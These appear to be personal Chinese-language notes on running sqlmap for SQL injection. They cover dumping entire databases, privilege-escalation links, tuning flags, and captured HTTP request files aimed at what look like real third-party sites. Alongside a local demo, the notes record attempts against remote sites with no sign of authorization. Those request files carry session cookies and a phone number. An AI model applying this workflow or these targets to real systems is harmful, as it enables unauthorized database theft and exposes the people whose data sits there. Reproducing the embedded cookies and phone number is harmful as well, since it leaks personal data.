https://www.cnblogs.com/tonykan/p/3452043.html 这个是处理MS SQL SERVER的。 使用了xp_shell 来提权。
https://www.cnblogs.com/jshy/p/5616568.html 也是用来提权的 。也是MS SQL SERVER. 对于 kali 的使用很犀利。
https://blog.csdn.net/h4ck0ne/article/details/50570718 用来给MY SQL 提权。 这里对于sqlmap 做了相当精辟的引用。
sqlmap -u <URL> 就可以做个全面的测试。
sqlmap -u <URL> --current-user 获得当前的数据库用户 (貌似不准。 )
(前面命令同上,下面也是...) --current-db 获得当前的数据库。 (非常准, 我靠。)
... -D <数据库名> 可以获得该数据库下的全部table 名称。 (貌似是获得数据库信息)
... -D <DB> --tables 获得该数据库下的全部table 名称。
... -D <DB> --columns 获得该数据库下的全部column 名称。
... -D <DB> --dump 到处数据库(卧槽太狠了。会在对应的目录下 ~/.sqlmap/output/站点名/dump/DB_NAME 下 导出 CSV 文件)
一个URL具备多个参数该怎么办?
$ sqlmap -u "yoursite.com?a=1&b=2" -p "a" 表示 只考虑参数a, 不考虑参数b. 可以不加引号。
对于“隐形参数”的情况怎么办?
例如 /books/show/22/1 , 可以使用星号。例如:
$ sqlmap -u "http.../books/show/2*/1" SQLMAP 就会自动识别了。
另外,FIREFOX 可以自动抓包, 抓包后, 直接 Edit and Resend ,就可以看到各种header了。 在HOST那里把http补全,然后写好 POST .... HTTP1.1 就可以。 如下:
GET /usercenter/getnoticesdetail/347* HTTP/1.1 (注意这里后面的HTTP/1.1 ) Host: https://www.mc003.vip (注意这里前面的https:// 弄错的话就不行) User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://www.mc003.vip/ X-Requested-With: XMLHttpRequest Cookie: ci_sess=h9tb5lqivf8e36athk7609ckeca59stl; notices=%7B%22nid%22%3A%223478%22%2C%22nshowdt%22%3A%222018-09-28+15%3A06%3A00%22%7D; ntflag=Y Connection: keep-alive Content-Length: 0
如果要对某个站点重新抓取的话, 需要: 删掉: ~/.sqlmap/output/target_site.com 文件夹。
sqlmap 的工作过程:
1. 会先尝试连接目标URL , 然后确定 timeout的值。 如果第一次用了10秒,以后就都会设置等待是10秒。 这个数其实不太准,应该设置成11s. 至少。 所以建议手动设置 --timeout=11
2. 请求失败后,会自动重试3次。默认。 (--retries=3)
3. 如果 请求消耗的时间比较多(例如30秒),sqlmap也会以为 对方服务器有IPS 这样的保护。 我们需要及时调整 --retries 参数。
[CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS/IDS
4.example URL:sqlmap -r header_zhidaoyuan_116.txt -p name --delay=0.5 --timeout=5 --string='身份证号' --fresh-queries --technique=E --dbms=mysql -v 3 --save=test_116_zhidaoyuan
5. 需要特别注意的是: 最开始给出的URL, 必须是可以正确打开的URL 。(可以使用--string='您好' 或者 --code=200 来表示正常的结果(SQLXXX = TRUE 的情况),也可以使用 --not-string 来判断 xxx = false的情况)
例如, /url?id=1 可以返回一个页面,包含了 “您好”这样的字符串 ,那么我们就用 --string='您好'来表示。
对于Rails 的生产环境。 默认是不返回任何报错信息的。 所以这个情况,就算代码中有SQL注入,(?? to be confirmed) 黑客也无法通过SQLI工具来获得有用的信息。 这点非常重要。
sqlmap -u http://192.168.0.116:3000/books?title=i -p title --timeout=5 --code=200 technique=E --dbms=mysql -v 3 --delay=0.5 --fresh-queries --retries=1
6. 需要注意的是,有时候json 返回的汉字,是经过utf-8 处理的。 所以,我们需要指定 -v 6
-v 1 :默认显示INFO,例如要做的大事儿。看某个参数是否可注入
-v 2 : 默认显示 DEBUG 级别,例如判断远程CONTENT 是否稳定, --string参数是否在远程返回的内容中。
-v 3: 显示payload (就是用什么参数来访问远程。可以观察到各种SQLI 的技巧和方法)
-v 4: 显示request的HEADER
-v 5 显示 response 的 header
-v 6 显示 response 的 body . (这个很重要。例如下面的例子,可以用来debug为什么--string 不好用)
sqlmap -r header_mc003_mobile_register.txt -p username --string=已经存在 --delay=0.5 -v 6
{"isok":2,"msg":"\u7528\u6237\u540d\u5df2\u7ecf\u5b58\u5728\uff01"}
[03:27:43] [WARNING] you provided '已经存在' as the string to match, but such a string is not within the target URL raw response, sqlmap will carry on anyway
所以改成:
(不行,加上双引号单引号都不行)--string=\u7528\u6237\u540d\u5df2\u7ecf\u5b58\u5728\uff01
(行) --string='"isok":2' (注意外面是单引号,里面是"isok":2)
实际例子
现在的问题是: 本地的跟远程的不一样。
本地的book demo , 可以发现 where like 的SQL注入
本地的zdyadmin , 发现不了。
远程的: 发现不了。
初步怀疑:
1. 返回的时间过长? 本地的zdyadmin 卡死了。 数据太多。 en ...
1.1 把本地的book demo 加上sleep 10 ? OK
1.2 sqlmap 是否需要加上每次请求的间隔时间? ....可用。 --delay=3 就可以。
2. 需要系统的学习一下SQLI课程。(可以放在后面)
3. 需要学习手动的 SQLI 注入。 (特别是 id= ...where...这两个最典型的语句)
做完之后,,再试试之前的几个站点。
原因:
1. 要使用 --delay=0.5 这样的参数。 否则读取数据库频繁的话,响应会慢的。
2. 要使用 --technologies这个参数。 如果可以的话。(减少检测时间)
3. --delay 可以减少请求间隔
4. --string='ok' 或者 --code=200 可以进行页面的SQLXXX =TRUE 的判断。
5. -v 6 可以看到远程返回的原始结果。 这个很重要。
貌似 sqlmap 只支持 burp 提供的 request file, 一个例子如下:
POST /Login/chkmobile.html HTTP/1.1
Host: http://www.1.io ( here must be: http.... )
Connection: close
Content-Length: 18
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://www.1.io
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://www.1.io/Login/register.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=h4eekvepsckedp2lg3muoko4s4
mobile=18622143508